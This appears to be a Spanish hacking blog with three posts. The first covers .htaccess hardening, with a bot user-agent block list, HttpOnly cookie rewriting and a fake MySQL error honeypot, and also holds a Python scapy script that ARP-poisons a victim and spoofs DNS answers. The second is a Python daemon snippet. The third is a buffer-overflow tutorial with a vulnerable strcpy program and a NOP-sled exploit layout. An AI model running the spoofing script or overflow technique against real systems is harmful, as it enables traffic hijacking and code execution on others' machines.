Configuraciones .htaccess

Posted on 13:45 by Xianur0

Metodos anti-bots:
Filtrado por cookie:

.htaccess:
RewriteEngine On
RewriteCond %{HTTP_COOKIE}!^.*Test-bot.*$ [NC]
RewriteRule .* /setcookie.php [NC,L
]

setcookie.php:

<?php
setcookie("Test-bot", 'ok', httponly);

?>


Filtrado por user-agent:

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR]
RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR]
RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR]
RewriteCond %{HTTP_USER_AGENT} ^Custo [OR]
RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR]
RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR]
RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR]
RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR]
RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR]
RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR]
RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR]
RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR]
RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR]
RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR]
RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR]
RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR]
RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR]
RewriteCond %{HTTP_USER_AGENT} ^HMView [OR]
RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR]
RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR]
RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR]
RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR]
RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR]
RewriteCond %{HTTP_USER_AGENT} ^larbin [OR]
RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR]
RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR]
RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR]
RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR]
RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR]
RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR]
RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR]
RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR]
RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR]
RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR]
RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR]
RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR]
RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR]
RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR]
RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR]
RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR]
RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR]
RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR]
RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR]
RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR]
RewriteCond %{HTTP_USER_AGENT} ^Wget [OR]
RewriteCond %{HTTP_USER_AGENT} ^Widow [OR]
RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR]
RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR]
RewriteCond %{HTTP_USER_AGENT} ^UbiCrawler [OR]
RewriteCond %{HTTP_USER_AGENT} ^MSIECrawler [OR]
RewriteCond %{HTTP_USER_AGENT} ^Web\ Scanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Web\ Scanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Vulnerability\ Scanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Vulnerability\ Scanner [OR]
RewriteCond %{HTTP_USER_AGENT} ^HTTrack [OR]
RewriteCond %{HTTP_USER_AGENT} ^libwww-perl [OR]
RewriteCond %{HTTP_USER_AGENT} ^libwww [OR]
RewriteCond %{HTTP_USER_AGENT} ^perl [OR]
RewriteCond %{HTTP_USER_AGENT} ^Zeus [OR]
RewriteRule ^.* - [F,L]
SetEnvIf Acunetix-User-agreement http://www.acunetix.com/wvs/disc.htm no_access=yes
RewriteCond %{ENV:no_access} yes
RewriteRule .* - [F,L]


Como Notaran Filtre tambien al acunetix (totalmente en las ultimas lineas:
SetEnvIf Acunetix-User-agreement http://www.acunetix.com/wvs/disc.htm no_access=yes
RewriteCond %{ENV:no_access} yes
RewriteRule .* - [F,L]


en las cuales lo que decimos es: si el existe el header
Acunetix-User-agreement con contenido: http://www.acunetix.com/wvs/disc.htm Mandar Forbiden)

Filtrado de robo de Cookies:

RewriteCond %{HTTP_COOKIE} PHPSESSID=([^;]+) [NC]
RewriteRule ^(.*)$ - [env=sessid:%1]
Header set Set-Cookie "PHPSESSID=%{sessid}e; path=/; HttpOnly" env=sessid


En este caso filtre unicamente la cookie PHPSESSID (ya que solo es un codigo de ejemplo) pero puede cambiar el nombre de la cookie.

Restringir Metodos:

RewriteCond %{REQUEST_METHOD} !^(GET|POST)
RewriteRule .* - [F,L]
IndexIgnore *

Para entender mas esto, leer mi texto de hacking HTTP.


Desactivar el Upload:

LimitRequestBody 0

Eso es util unicamente si no usamos un gestor en el directorio de nuestra web para subir archivos (cada quien le ve su utilidad en la seguridad).

Honeypot a los scanneres HTTP de tipo Brutes Forces:
IndexIgnore *
Options All -Indexes
ErrorDocument 101 /error.php
ErrorDocument 204 /error.php
ErrorDocument 205 /error.php
ErrorDocument 400 /error.php
ErrorDocument 500 /error.php
ErrorDocument 400 /error.php
ErrorDocument 403 /error.php
ErrorDocument 404 /error.php
ErrorDocument 405 /error.php
ErrorDocument 406 /error.php
ErrorDocument 407 /error.php
ErrorDocument 408 /error.php
ErrorDocument 409 /error.php
ErrorDocument 411 /error.php
ErrorDocument 413 /error.php
ErrorDocument 414 /error.php
ErrorDocument 416 /error.php
ErrorDocument 417 /error.php
ErrorDocument 501 /error.php
ErrorDocument 502 /error.php
ErrorDocument 503 /error.php
ErrorDocument 504 /error.php
ErrorDocument 505 /error.php

Codigo del error.php:
<?php
echo '<b>Warning:</b> mysql_query(): Access denied for user: root@localhost (Using

  password: YES) in <b>/home/root/public_html/mysql.php</b> on line <b>12</b>';
?>

La idea de esto fue de inyexion jeje..


#!/usr/bin/python

from twisted.internet import reactor
from twisted.web import static, server
import sys
import os
from scapy import *
import socket
import fcntl
import struct
import commands


if os.getuid()!=0:
print "Necesitas uid 0 Para ejecutar este Script!"
sys.exit(1)
if len(sys.argv) != 4:
print "Uso: ./xianur0.py [DNS Server] [Victima] [Interface]"
sys.exit(1)

def getip(ifname):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915,
struct.pack('256s', ifname[:15])
)[20:24])

def getmac(iface):
ifconfig = '/sbin/ifconfig'
telltale = 'HWaddr '
cmd = '%s %s' % (ifconfig, iface)
output = commands.getoutput(cmd)

inet = output.find(telltale)
if inet >= 0:
start = inet + len(telltale)
end = output.find(' ', start)
addr = output[start:end]
else:
print 'No Se pudo Extraer el Mac de esta interface!'
sys.exit(1)
return addr
dns_server = sys.argv[1]
target_ip = sys.argv[2]
conf.iface = sys.argv[3]
tu_ip = getip(conf.iface)
tu_mac = getmac(conf.iface)


def constructor():
try:
if os.fork() > 0: os._exit(0)
except OSError, error:
print 'Error Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
os.chdir('/')
os.setsid()
os.umask(0)
try:
pid = os.fork()
if pid > 0:
print 'Servidor Web Iniciado: PID %d' % pid
sendp(Ether(dst='ff:ff:ff:ff:ff:ff')/
ARP(pdst=target_ip,psrc=dns_server,hwsrc=tu_mac),iface=conf.iface)
pck = sniff(filter='port 53',iface=conf.iface,count=1)
ip = pck[0].getlayer(IP)
dns = pck[0].getlayer(DNS)
response = IP(dst=ip.src,src=ip.dst)/UDP(dport=ip.sport,sport=ip.dport)
response /= DNS(id=dns.id,qr=1,qd=dns.qd,an=DNSRR(rrname=dns.qd.qname,ttl=10,rdata=tu_ip))
response.display()
send(response)
os._exit(0)
except OSError, error:
print 'Error Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
servidor()

def servidor():
twisted_html_server = static.File( './' )
reactor.listenTCP(80, server.Site(twisted_html_server))
reactor.run()

if __name__ == '__main__':

constructor()

Nota: Editen el codigo para que funcione correctamente, no permito scriptkiddies jeje ;)..

Daemons en Python

Posted on 18:57 by Xianur0

def constructor(): #definimos el constructor del daemon
try:
if os.fork() > 0: os._exit(0) #sale si el fork no trabaja bien
except OSError, error:
print 'Error En Fork: %d (%s)' % (error.errno, error.strerror) #lanza el error
# de ejecucion del fork
os._exit(1)
os.chdir('/')
os.setsid()
os.umask(0)
try:
pid = os.fork() #obtiene el PID con el que trabajara nuestro daemon
if pid > 0: #si el pid es mayor a 0 el fork fue correcto
# y tenemos un lugar para nuestro daemon :)..
#Aqui Seria Lo que ejecutara el crearse el daemon, bien podemos solo imprimir el PID
os._exit(0)
except OSError, error:
print 'Error en Fork: %d (%s)' % (error.errno, error.strerror)
os._exit(1)
#Aqui estaria la funcion del daemon (lo que hara nuestro daemon)
if __name__ == '__main__':

constructor() #cargamos nuestro constructor del daemon :)...

Teoria BOF

Posted on 18:30 by Xianur0

Conceptos:

EIP: es el registro que almacena la direcci0n de la siguiente instruccion que debe ejecutar el procesador. IP por instruction pointer (puntero a instruccion)


EBP: puntero a base (base pointer), apunta al elemento mas alto de la pila. la pila (stack) es una estructura de datos que utiliza el procesador para ayudarse en la o de los programas.


OllyDbg: Debugger que utilizaremos.


shellcode: es una tira de instrucciones escritas en ASM y codificadas en hexadecimal, que es usualmente lo que queremos que se ejecute una vez producida la falla.


NOP: (0x90 o \x90)instruccion en ASM que significa no operational, es decir, que no haga nada. lo nico que hace es incrementar en uno el registro de siguiente instruccion (EIP) y ejecute lo que alla­ se encuentre. En nuestro caso sirve para que el procesador examine la memoria hasta que se encuentre con nuestra shellcode.



Teoria:

Antes de Comenzar a Programar tenemos que saber la teoria:

  • Tener claro la cantidad de bytes del programa
  • Llenar el buffer y el EBP con NOPs y la shellcode
  • Identificar la direccion de retorno para ubicarla en el EIP

Primero que nada necesitamos saber el tama;o del buffer:

Citar
char buffer[58];

En este caso podemos notar que es de 58 bytes.
Por ello si se sobrepasa este numero, podria haber problemas giño...


Core Dump
Citar
Core Dump o Volcado de Memoria, es un registro no estructurado del contenido de la memoria en un momento concreto, generalmente utilizado para depurar un programa que ha finalizado su ejecucion incorrectamente. Actualmente se refiere a un archivo que contiene una imagen en memoria de un proceso determinado, pero originalmente consistir­a en un listado impreso de todo el contenido de la memoria.

Un volcado de memoria es toda la memoria utilizada por el programa instalado escrita a un archivo. El tama;o del volcado dependera del programa instalado (es igual al valor de ws_BaseMemSize en la estructura del Esclavo). Un volcado de memoria puede ser creado si la DebugKey es presionada durante la ejecucion o luego de un error si el boton CoreDump es presionado. El nombre del volcado de memoria creado sera ".whdl_memory". La ubicacion por defecto es "PROGDIR:" pero puede ser cambiada con la opcion CoreDumpPath. Cualquier fichero existente con el mismo nombre siempre sera sobrescrito. Si el programa instalado utiliza Memoria Fast adicional, sera salvada bajo el nombre ".whdl_expmem".

En otras palabras seria lo que ocurriria si sobrepasamos el tamao del buffer de la aplicacion vulnerable, que en este caso es de 58 bytes, es decir no es muy grande por lo cual con introducir 58 bytes en el char buffer causaria un core dumper.

Vamos al grano

Programe un exe con solo 10 bytes de buffer, asi que comenzemos a divertirnos:



Como podran darse cuenta el programa se murio :D, esto fue probocado ya que introduje mas bytes, que los que el buffer soportaba, por enden esto proboco un core dumper.

Sources del Programa Vulnerable:

Código:
#include 
#include
#include

void funcion(char *ax);

int main (int argc, char *argv[])

{
if(argc<2)
{
printf("Uso: %s cadena\x0a", argv[0]);
return 0;
}
funcion (argv[1]);
return (0);
}

void funcion (char *ax)

{
char buffer[10];
strcpy (buffer, ax);
printf ("Cadena:\n%s\n", buffer);
}

Cargamos el Archivo vulnerable con el OllyDbg:



Argumentos: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.

Le damos en



29 Caracteres y sobre escribimos 4 del EBP y 1 del EIP, es decir que se desbordo con 24.

¿Como sabemos que los sobreescribimos?

Es simple, por que A en hexadecimal es 41 giño.

Bueno el buffer se lleno con 24, el ebp se llena con 4, y el EIP tambien, por enden, serian 32 para sobrescribir el EIP en totalidad, para corroborar utilizemos otra letra:

Argumentos: AAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB



y observaremos que en el eip nos resulta 42, B en hexadecimal es 42, por enden esto corrobora que sobrescribimos el eip correctamente :D.

Lo que nos queda saber es la direccion de retorno, la direccion de retorno es a donde queremos que salte nuestro shellcode, es decir la direccion siguiente que se ejecutara en la pila.

Localizamos el Push EBP, anotamos su direccion de memoria y la invertimos, es decir en caso de ser: bffff9d0 quedar­a: d0f9ffbf y pasado a array C: \xd0\xf9\xff\xbf (en el ejemplo de una pila linux).

Ahora vamos a la accion:


Suponiendo que el buffer y el EBP se llenan con 1028 (dando un ejemplo) y que es un shellcode de 23 tendran que ser 1005 NOPs...

En orden los datos serian: 1005 NOPs, 23 shellcode, Direccion de Retorno.

Gracias Zodiac por las definiciones